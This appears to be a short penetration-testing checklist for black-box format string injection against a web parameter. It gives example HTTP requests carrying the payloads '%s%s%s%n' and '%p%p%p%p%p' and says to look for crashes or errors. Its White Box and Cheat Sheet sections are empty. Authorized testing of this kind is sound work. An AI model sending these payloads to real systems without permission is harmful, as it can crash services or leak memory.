Format String Injection

Check List

Methodology

Black Box

Format string attack

1

Navigate to the target web application and identify an input parameter that is user-controllable, Normal request

GET /userinfo?username=unk9vvn HTTP/1.1
Host: target.com

2

Using Burp Suite, intercept the request and check whether the value of the username parameter is processed on the server side, Inject a payload containing Conversion Specifiers into the username parameter

%s%s%s%n

3

Injected request

GET /userinfo?username=%25s%25s%25s%25n HTTP/1.1
Host: target.com

4

Send the request and observe the server response to determine whether the application crashes or displays unexpected output, If needed, inject another payload containing different Conversion Specifiers

%p%p%p%p%p

5

Injected request

GET /userinfo?username=%25p%25p%25p%25p%25p HTTP/1.1
Host: target.com

6

Then observe the server response to determine whether an error such as HTTP 500 or a timeout occurs, If the application crashes or displays unexpected output, the vulnerability is confirmed

---

White Box

Cheat Sheet